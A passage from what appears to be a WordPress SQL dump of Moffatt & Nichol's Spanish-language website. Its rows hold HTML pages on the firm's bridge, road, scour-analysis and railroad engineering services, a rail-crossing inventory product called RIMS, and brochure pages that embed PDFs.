06:39:25','2012-09-12 06:39:25','',54,'http://moffattnichol.com/spanish/?page_id=634',1,'page','',0),(640,1,'2011-11-14 04:32:49','2011-11-14 04:32:49','<div class=\"content_faq\">\r\n[anything_slides cat=bridges width=588 height=315 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n\r\n<h1>puentes</h1>\r\n\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\" style=\"width: 247px; height: 186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"3\">capacidades y experiencia profesional</h3>\r\nHasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n<ul>\r\n	<li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n	<li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n	<li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n</ul>\r\n<div class=\"clear\"></div>\r\n</div>\r\n<div class=\"press-release-para\">Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt &amp; Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas.\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n<div class=\"bridges-left\">\r\n<div class=\"divider-line\">Tipos de proyecto</div>\r\nProyectos Diseño-Licitación-Construcción, P3 y Diseño-Construcción\r\n\r\nRehabilitación de puentes\r\n\r\nEnsanchamiento y reemplazo de puentes\r\n\r\nInstalaciones para nuevos puentes y carreteras\r\n\r\nPuentes en caminos locales\r\n\r\nPasos elevados de autopistas\r\n\r\nPasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel\r\n\r\nCarriles guía de tren ligero y estaciones elevadas\r\n\r\nEstructuras de muelles y frentes costeros\r\n\r\nPuentes para peatones y bicicletas\r\n\r\nPuentes en concreto, acero y madera\r\n\r\nPuentes sobre áreas medioambientalmente sensibles\r\n<div class=\"divider-line\">Construcción</div>\r\nEtapas de la construcción y mantenimiento del tráfico\r\n\r\nEstudios de la factibilidad de construcción e Ingeniería del valor\r\n\r\nIngeniería y apoyo de la construcción\r\n\r\nAnálisis de la construcción en función del tiempo\r\n\r\nInspección de la construcción\r\n\r\nPlanos según construcción y conciliación\r\n\r\nRepresentación del diseñador-constructor y del propietario\r\n\r\n</div>\r\n<div class=\"bridges-right\">\r\n<div class=\"divider-line\">Planeamiento</div>\r\nEstudios de factibilidad y planeamiento\r\n\r\nDiseño conceptual\r\n\r\nEstimados de costos\r\n\r\nSelección del tipo de estructura\r\n\r\nEstudios y documentación medioambientales\r\n<div class=\"divider-line\">Diseño</div>\r\nDiseño preliminar y final\r\n\r\nPlanos, especificaciones y estimados\r\n\r\nDiseño antisísmico y modificación\r\n\r\nEstudios hidráulicos y de socavación\r\n\r\nEstudios de colisión de buques\r\n\r\nEstudios de carga de hielo\r\n\r\nDiseño de cimentación profunda\r\n\r\nSocavación de puentes\r\n\r\nAnálisis de la marejada ciclónica\r\n<div class=\"divider-line\">Inspección y rehabilitación de puentes</div>\r\nInspección por encima/debajo del nivel del agua con certificación NBIS\r\n\r\nMuestreo y prueba de materiales\r\n\r\nModelación de la vida de servicio (Estructuras de concreto)\r\n\r\nServicios de diseño de reparación/rehabilitación\r\n\r\nServicios de la fase de construcción\r\n<div class=\"divider-line\">Otros servicios</div>\r\nEstética de puentes y Soluciones sensibles al contexto\r\n\r\nCapacidad de carga de puentes\r\n\r\nAnálisis avanzado de elementos finitos\r\n\r\nCoordinación y reubicación de equipos de servicios públicos\r\n\r\nDiseño de calzadas y accesos\r\n\r\n</div>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/Bolsa.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"1\">caminos y puentes</h3>\r\nMoffatt &amp; Nichol ofrece una gama completa de servicios de planeamiento, diseño, obtención de fondos y gestión para proyectos de puentes y carreteras.\r\n\r\nMoffatt &amp; Nichol ofrece su especial experiencia profesional en los aspectos económicos y financieros, gestión de programas, análisis sísmico, cimentaciones marítimas profundas, sistemas intermodales, impacto de buques y análisis de socavación del proyecto. Estos servicios especializados nos permiten proporcionar a nuestros clientes un alto nivel de servicios de valor agregado para toda la gama del desarrollo de proyectos, desde el planeamiento hasta el diseño y la construcción.\r\n\r\nAdemás del diseño convencional de carreteras, nuestras capacidades estructurales incluyen la inspección, planeamiento, análisis, diseño y preparación de la documentación de la construcción para la rehabilitación, modificación o nueva construcción de puentes, caballetes para puentes y pasos a desnivel. Moffatt &amp; Nichol ha planeado o diseñado más de 500 puentes, que comprenden desde una de las autopistas más largas del mundo o intercambios de autopistas como El Toro “Y” en Irvine, California, hasta el proyecto de reemplazo del puente de la bahía Oakland de $5.500 millones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/sour.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"2\">análisis de socavación</h3>\r\nMoffatt &amp; Nichol tiene experiencia profesional interna especializada en dinámica fluvial y de mareas, transporte de sedimentos/análisis de socavación, ingeniería costera e hidrología e hidráulica. Aplicando esta experiencia profesional junto con nuestra capacidad de modelación numérica de 1-D, 2-D y 3-D, podemos evaluar el potencial de socavación para puentes en diversas condiciones de ubicación. Hemos realizado la clasificación de la socavación de más de 1.000 puentes usando procedimientos FHWA, realizado análisis de socavación de más de 50 puentes y desarrollado contramedidas de diseño para muchos puentes con socavación crítica. En el puente de la bahía de Oakland, San Francisco, Moffatt &amp; Nichol realizó recientemente la modelación numérica hidrodinámica y la prueba del modelo físico para pronosticar la posible socavación. El nivel de socavación fue sustancialmente menor que el pronosticado usando una fórmula empírica.\r\n\r\nAdemás, Moffatt &amp; Nichol es un líder internacional reconocido en el análisis y diseño de la prevención de colisión de naves y de sistemas de protección.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','servicios de caminos y puentes','','publish','open','open','','roads-bridges-services','','','2012-09-04 06:07:29','2012-09-04 06:07:29','',54,'http://moffattnichol.com/spanish/?page_id=640',2,'page','',0),(651,1,'2011-11-14 04:48:05','2011-11-14 04:48:05','<div class=\"content_faq\">\r\n[anything_slides cat=railroads width=588 height=325 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction] \r\n<h3>servicios ferroviarios</h3>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/commuter.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"1\">trenes suburbanos y tránsito</h1>\r\nLa aceptación de la comunidad es crítica para transformar el concepto de un tren de una idea a una realidad. Los profesionales de ferrocarriles de Moffatt &amp; Nichol integran su conocimiento de primera mano trabajando con todos los niveles gubernamentales y con el público para obtener la cooperación de todas las partes interesadas del área. La firma ha facilitado audiencias públicas y talleres públicos y ha proporcionado su experiencia profesional en reuniones de asociaciones público-privadas para estos organismos. Estos programas de participación son esenciales para educar al público y obtener apoyo para los proyectos de transporte.\r\n\r\nHemos proporcionado estos servicios para los estudios conceptuales, de planeamiento de transporte, de trenes de alta velocidad, de separación del tráfico y de la seguridad de corredores de transporte, así como estudios de análisis de tráfico y determinaciones de zonas reservadas. La firma utiliza software de modelación tal como VISSIM, TERM SIM y Synchro para evaluar completamente los potenciales impactos de las mejoras de la infraestructura de transporte. El uso de estos modelos permite el análisis realista de las alternativas para determinar el mejor equilibrio entre el costo y la funcionalidad de cualquier diseño relacionado con ferrocarriles, transporte, calzadas o desplazamiento de peatones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/economics.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"2\">estudios económicos y de mercado</h1>\r\nMoffatt &amp; Nichol comprende cómo el negocio del transporte guía a nuestros clientes en el desarrollo de estrategias de puerto-punto de acceso y las inversiones en infraestructura que vinculan la carga internacional con los mercados regionales y locales. Con el conocimiento del negocio de ferrocarriles, transporte en camiones y logística intermedia de almacenes, además de la experiencia en el diseño, estimación de costos y construcción de conexiones de caminos y ferrocarriles, Moffatt &amp; Nichol proporciona una ventaja única a sus clientes que evalúan sus inversiones en conexiones de transporte.\r\n\r\nExperiencia profesional en estudios económicos y de mercado:\r\n<ul>\r\n	<li>Análisis macroeconómico y demanda de carga globales</li>\r\n	<li>Análisis de mercado específico del país y regional</li>\r\n	<li>Evaluaciones económicas de ventajas competitivas</li>\r\n	<li>Desviación de carga y estudios de elasticidad</li>\r\n	<li>Estudios de casos comerciales</li>\r\n	<li>Desarrollo de proforma financiera</li>\r\n	<li>Estudios de factibilidad financiera y de capacidad de emisión</li>\r\n	<li>Evaluaciones y desarrollos estratégicos</li>\r\n	<li>Debida diligencia de transacciones comerciales con grado de inversión</li>\r\n	<li>Planeamiento y cálculo de costo de servicios logísticos</li>\r\n	<li>Estudios de gestión y organización</li>\r\n	<li>Evaluación de alternativas de leasing</li>\r\n	<li>Análisis del impacto económico</li>\r\n	<li>Estimación de beneficio del sector privado</li>\r\n	<li>Estimación de beneficio del sector público</li>\r\n	<li>Evaluación de costo-beneficio</li>\r\n	<li>Análisis de la productividad y las operaciones de terminales </li>\r\n	<li>Operaciones de compañías navieras</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/engineering-ser.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"3\">servicios de ingeniería</h1>\r\nMoffatt &amp; Nichol guía a sus clientes a través del proceso de integrar oportunidades ferroviarias para beneficiar a sus estrategias de negocios. El experimentado equipo de profesionales de ferrocarriles de la firma ofrece una visión general integral, proporcionando una amplitud de visión desde el planeamiento y diseño hasta la terminación del proyecto. Única en el mercado, incorporamos nuestra experiencia profesional interna con nuestra amplia práctica en ferrocarriles en las áreas de factibilidad económica y evaluación de la logística, planeamiento de ferrocarriles, modelación de la capacidad, simulaciones logísticas y diseño de instalaciones de terminales intermodales, seguridad de corredores, mantenimiento, ingeniería estructural y mecánica, inspección y rehabilitación, señalización, y la administración de la construcción para líneas de pasajeros y de tránsito en todo el país. Como una firma integrada verticalmente, medimos las necesidades del cliente mediante análisis de operaciones e implementación de la construcción de las instalaciones. Esta estructura del negocio nos permite avanzar un proyecto a través de las regulaciones ambientales y la gestión de autorizaciones en estrecha coordinación con el proceso de aprobación del diseño y de la construcción.\r\n\r\nNuestra experiencia de diseño incluye líneas principales, vías secundarias y vías de patios de maniobras para ferrocarriles de Clase 1, así como para operadores de líneas cortas y regionales. Esta experiencia no solo comprende las vías, sino también instalaciones de mantenimiento y apoyo, accesos industriales, estaciones, así como instalaciones intermodales. Nuestra experiencia profesional en el planeamiento y diseño portuarios, junto con nuestra práctica en ferrocarriles, ha producido instalaciones intermodales de última tecnología en muelles y cerca de muelles para autoridades portuarias, operadores de terminales y ferrocarriles de Clase 1, incluyendo el diseño de las nuevas instalaciones de una grúa pórtico de gran capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/fright.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"4\">carga</h1>\r\nLos ferrocarriles dan máxima prioridad a la seguridad cuando se trata de transportar mercancías. Moffatt &amp; Nichol requiere que la seguridad sea una parte integral de cualquier proyecto, desde el diseño hasta la implementación. Nuestros profesionales de ferrocarriles reciben capacitación en seguridad del trabajador ferroviario y tienen todas las credenciales de E-Rail. En su calidad de empresa, Moffatt &amp; Nichol participa en varias asociaciones de ferrocarriles para mantenerse al corriente con los cambios en la industria de carga, para permanecer actualizado sobre los últimos avances tecnológicos y para proporcionar su experiencia profesional en las ideas más innovadoras. Esta capacitación y certificación da a nuestros ingenieros una conexión con la industria de ferrocarriles que les permite entender mejor las necesidades actuales y futuras de nuestros clientes.\r\n\r\nEntendemos que las compañías ferroviarias toman decisiones basadas en consideraciones de costos. Los diseños de ferrocarriles tienen un impacto económico y pueden necesitar una mayor evaluación de la proporción ciclo-de-vida/costo-beneficio. Moffatt &amp; Nichol aporta capacidades añadidas en la medición del costo total de la propiedad. Es imprescindible encontrar un equilibrio entre el costo de capital inicial y el costo del ciclo de vida del beneficio a largo plazo. Moffatt &amp; Nichol reconoce la necesidad de evitar o minimizar las interrupciones a los horarios de tráfico existentes en el desarrollo de cualquier mantenimiento o proyecto de extensión de la capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/highspeed.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"5\">trenes de alta velocidad</h1>\r\nLas relaciones que hemos establecido con organismos gubernamentales nacionales, estatales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, con abastecedores logísticos y con organismos nacionales y locales de trenes de pasajeros fortalecen nuestra capacidad de completar proyectos de trenes de alta velocidad para clientes en todo el país. Moffatt &amp; Nichol proporciona a este sector en crecimiento su experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para apoyar el servicio intermodal de alta velocidad o el servicio de pasajeros de alta velocidad.\r\n\r\nLa coordinación de esfuerzos entre nuestros diferentes servicios ferroviarios facilita el proceso de planeamiento y entrega los resultados esperados. Este enfoque funciona con proyectos para operaciones ferroviarias existentes a fin de identificar oportunidades para mejoras de velocidad, eficiencias de operación y la posible ampliación de los sistemas actuales.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol ofrece a sus clientes servicios integrales para todos los aspectos del diseño y desarrollo del proyecto.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/inspection.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"6\">inspección y rehabilitación</h1>\r\nMoffatt &amp; Nichol realiza inspecciones por debajo y por encima del nivel de agua, así como servicios de diseño para todos los aspectos de la infraestructura del ferrocarril. Una característica única en la industria es que proporcionamos una experiencia profesional especial con “ojo de ingeniería” para la inspección de puentes y otras estructuras utilizando ingenieros colegiados e ingenieros buzos, que entienden la importancia estructural de las condiciones indicadas. Estos expertos recopilan informes de los datos recogidos y proporcionan eficaces soluciones de ingeniería al estar en el terreno o en el agua desde el inicio. También proporcionamos servicios de diseño en instalaciones tales como estaciones y terminales, muros de contención y estructuras de estabilidad de taludes.\r\n\r\nLa firma tiene la capacidad de movilizar a varios equipos para inspeccionar la infraestructura del ferrocarril y proporcionar a los clientes informes de inspección detallada, y en caso de ser necesario, terminar la inspección dentro de un cronograma ajustado. Los resultados de la inspección detallada incluyen estimaciones de reparaciones y costos, recomendaciones de reemplazo y cualquier mejora necesaria de la infraestructura, incluyendo planos que indiquen la ubicación de las reparaciones y disposiciones recomendadas. Además, podemos proporcionar la modelación de la vida de servicio utilizando el software STADIUM® para prolongar la vida de servicio de estructuras marítimas existentes usando una metodología de modelación cuantitativa.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/passenger.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"7\">servicio de pasajeros interurbano</h1>\r\nEl funcionamiento puntual, así como la seguridad y comodidad del pasajero, son los sellos distintivos de un servicio interurbano de tren de pasajeros exitoso. Moffatt &amp; Nichol ofrece una gran experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para proporcionar y mejorar el funcionamiento puntual y la satisfacción del pasajero. Nuestras comprobadas relaciones con organizaciones gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, y con organismos nacionales y locales de trenes de pasajeros, aumentan nuestra capacidad de proporcionar a nuestros clientes un servicio interurbano de pasajeros exitoso o de mejorar el servicio existente.\r\n\r\nNuestro equipo entiende al servicio interurbano de tren de pasajeros como una optimización de equipo e infraestructura. Este enfoque identifica los costos del equipo y de la infraestructura asociados con el mejoramiento del funcionamiento puntual y la comodidad de los pasajeros. Trabajamos muy de cerca con nuestros clientes para optimizar el rendimiento operacional y la comodidad de los pasajeros dentro de límites presupuestarios para proporcionar mejoras rentables.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol tiene profesionales con la suficiente experiencia para hacer que el servicio interurbano de tren de pasajeros sea un éxito.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/maitanance.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"8\">mantenimiento y mecánica</h1>\r\nEl mantenimiento preventivo total para instalaciones ferroviarias sin interrumpir las operaciones cotidianas es crítico para mantener los horarios de transporte. El equipo de ferrocarriles de la firma ha ayudado a operadores de ferrocarriles, organismos públicos, operadores portuarios y expedidores, en el análisis, planeamiento y programas de mantenimiento de sus instalaciones. Para proporcionar soluciones eficaces a la contratación de servicios ferroviarios, hemos formado alianzas estratégicas con abastecedores y proveedores de servicios sin igual en la industria.\r\n\r\nAdemás de ofrecer programas de mantenimiento de vías a los clientes, nuestra experiencia profesional incluye:\r\n<ul>\r\n	<li>Diagnóstico de señales y localización de averías</li>\r\n	<li>Diseño hidráulico</li>\r\n	<li>Problemas de mitigación medioambiental</li>\r\n	<li>Diseño de artículos especiales para trabajo en vías férreas</li>\r\n	<li>Diseño de sujetadores de durmientes y placas de asiento especiales</li>\r\n	<li>Estudios de cruces a nivel</li>\r\n</ul>\r\n \r\nLas capacidades relacionadas con líneas férreas de Moffatt &amp; Nichol integran servicios mecánicos con la infraestructura y las prácticas de planeamiento de la firma. Proporcionamos informes de ingeniería y desarrollamos recomendaciones para métodos a fin de aplicar acciones correctivas, mantenimiento inmediato y programado, así como instrucciones de prueba. La firma también desarrolla planos mecánicos detallados y supervisa proyectos de reconstrucción y rehabilitación de equipos, además de realizar inspecciones mecánicas y pruebas.\r\n\r\nNuestros profesionales de ferrocarriles dan servicio a los clientes como una extensión de su actual programa de mantenimiento. Mediante alianzas estratégicas con compañías de prueba y mantenimiento de equipos, Moffatt &amp; Nichol proporciona soluciones sin igual para los programas de reconstrucción de locomotoras y vagones, incluyendo investigación en nuevas tecnologías para incorporarlas en equipo rodante ferroviario. La firma también mantiene sistemas de gestión de documentos, incluyendo la organización de registros de mantenimiento y el desarrollo de especificaciones de piezas.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\"><img title=\"alamedacorridor_250X189\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\" alt=\"\" width=\"250\" height=\"189\" /></a></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"9\">gestión de programa</h1>\r\nEl equipo de Moffatt &amp; Nichol toma la visión de nuestros clientes y los guía para desarrollar, implementar y supervisar un programa exitoso en funcionamiento. Únicos en la industria, ofrecemos experiencia profesional interna en las áreas de estudios económicos y de mercado, gestión de autorizaciones ambientales, servicios de ingeniería, estructuras, inspección y rehabilitación, señalización y servicios mecánicos.\r\n\r\nLas relaciones que la firma tiene con organismos gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas y con organismos nacionales y locales de trenes de pasajeros ayudan a nuestros clientes en la coordinación de la aprobación de sus programas. También tenemos relaciones bien establecidas con consultores especialistas que aportan valor agregado y aseguran que el proyecto se realice exitosamente.\r\n\r\nLos clientes de Moffatt &amp; Nichol tienen un solo punto de contacto, lo que elimina las diferentes rutas de comunicación y proporciona acceso a expertos reconocidos en sus respectivos campos. Proporcionamos soluciones innovadoras e integradas para posicionar a nuestros clientes en el exitoso futuro del ferrocarril.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/signalisation.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"10\">señalización</h1>\r\nLa seguridad nunca es más importante que en el lugar en que el público y el ferrocarril se cruzan: el cruce a nivel. Moffatt &amp; Nichol ha proporcionado parámetros de señales para todos los niveles de servicio ferroviario, así como novedosos métodos de ingeniería para señalización de cruces a nivel que han disminuido los incidentes que son producto de colisiones de vehículos y trenes.\r\n\r\nLos estudios de señalización de Moffatt &amp; Nichol incluyen:\r\n<ul>\r\n	<li>Separación del tráfico</li>\r\n	<li>Zona reservada</li>\r\n	<li>Zona de seguridad del corredor</li>\r\n	<li>Señalización pasiva</li>\r\n	<li>Inventario</li>\r\n	<li>Modelación de vías férreas-carretera</li>\r\n	<li>Análisis de operaciones de ferrocarriles</li>\r\n</ul>\r\n \r\nLa firma participa regularmente en proyectos que requieren la determinación de la protección de pasos más adecuada. Los proyectos incluyen reactivaciones de corredores de trenes, proyectos de seguridad de corredores, proyectos de estaciones, realineaciones de vías férreas, programas de mejora del transporte del Departamento de Transporte de EE.UU. (DOT, por sus siglas en inglés), estudios de impacto de tráfico, análisis de operaciones de ferrocarriles y estudios de tránsito. Todos los cruces a nivel son diferentes y una sola aplicación no es apropiada para todos. Nuestro equipo tiene la experiencia y los conocimientos profesionales para determinar las mejores alternativas a fin de ofrecer la mayor protección para cualquier cruce a nivel.\r\n\r\nAdemás de realizar el diagnóstico de la señal y de localizar problemas de señales de paso defectuosas, el equipo de expertos en ferrocarriles puede realizar inspecciones anuales y mensuales de la señal FRA (Administración Federal de Ferrocarriles de Estados Unidos), así como pruebas del relé y cable FRA, lo que incluye la documentación necesaria a los niveles federal y estatal.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/structures.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"11\">estructuras</h1>\r\nLa experiencia en ingeniería estructural de Moffatt &amp; Nichol desempeña un papel importante en el desarrollo de corredores de trenes, así como en la mejora del flujo de mercancías mediante la consolidación de los cruces a nivel. La firma proporciona servicios como el principal diseñador de servicios auxiliares para proyectos de pasos a desnivel, así como estructuras de puentes para ferrocarriles y estructuras de retención para medidas de mitigación sísmica.\r\n\r\nHemos trabajado con organismos gubernamentales nacionales, estatales y locales, así como con compañías de ferrocarriles Clase 1 y organismos de trenes de pasajeros, para facilitar las realineaciones de calles locales, cierres, modificaciones de intersecciones, construcción de desvíos del tráfico, desvíos temporales de trenes (vías férreas temporales), reubicaciones de equipos de servicios públicos y mejoras importantes a drenajes pluviales. Nuestro enfoque es atenuar los efectos negativos sobre las operaciones ferroviarias, al mismo tiempo que se trabaja en el paso a desnivel.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/RIMS.jpg\" alt=\"\" width=\"250\" height=\"189\" border=\"0\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"12\">RIMS (Sistema de Gestión de Inventario de Ferrocarriles)</h1>\r\nRIMS es un servicio en la nube que permite que los encargados del inventario del ferrocarril realicen su trabajo más rápida y fácilmente. La Ley de mejora de seguridad ferroviaria de 2008 ordenó que la base de datos del inventario nacional sea actualizada anualmente. El personal de RIMS es experto en la industria de seguridad de cruces de carreteras y trenes y diseñó RIMS desde cero para cumplir requisitos específicos del programa de seguridad de cruces.\r\n\r\nRIMS es más que una plataforma tecnológica, es el grupo de expertos que lo respalda. Asumimos la tarea de asegurarnos que sus datos sean introducidos a la base de datos nacional. Como es un servicio en la nube, puede acceder a RIMS desde cualquier lugar. Desde su escritorio, un hotel, su casa, su teléfono celular, en el campo o desde un iPad. Incluso hay un acceso limitado al funcionar sin conexión a Internet. Donde sea que vaya, RIMS puede ir con usted. Con RIMS, nunca tendrá que volver a imprimir la información del inventario. Ahorre tiempo y dinero reduciendo la cantidad de documentos.\r\n\r\n<strong>Características:</strong>\r\n<ul>\r\n	<li>Cumple con la ley RSIA del 2008</li>\r\n	<li>Nos permite enviar sus datos a FRA</li>\r\n	<li>Como se aloja en la nube, no requiere ningún mantenimiento del servidor</li>\r\n	<li>Permite ingresar datos en la mayoría de dispositivos con conexión a Internet</li>\r\n	<li>Imprime formularios del inventario con los cambios marcados</li>\r\n	<li>Descarga sus datos en cualquier momento en muchos formatos</li>\r\n	<li>Califica los cruces usando funciones de índice de riesgo</li>\r\n	<li>Usted controla quién tiene acceso a sus datos</li>\r\n	<li>Comparte el ingreso de datos entre entidades estatales y del ferrocarril</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios ferroviarios','','publish','open','open','','railroads-services','','','2012-09-04 11:26:35','2012-09-04 11:26:35','',54,'http://moffattnichol.com/spanish/?page_id=651',3,'page','',0),(1092,1,'2011-12-01 13:39:28','2011-12-01 13:39:28','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FPORTS1HARBORS1MARINE1TERMINALS.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de puertos y terminales marÃtimas','','publish','open','open','','ports-harbors-and-marine-terminals-brochure','','','2011-12-01 13:39:28','2011-12-01 13:39:28','',0,'http://moffattnichol.com/spanish/?page_id=1092',35,'page','',0),(1099,1,'2011-12-01 14:03:25','2011-12-01 14:03:25','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FPORT1AUTOMATION.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de automatizaciÃ³n portuaria','','publish','open','open','','port-automation-brochure','','','2011-12-01 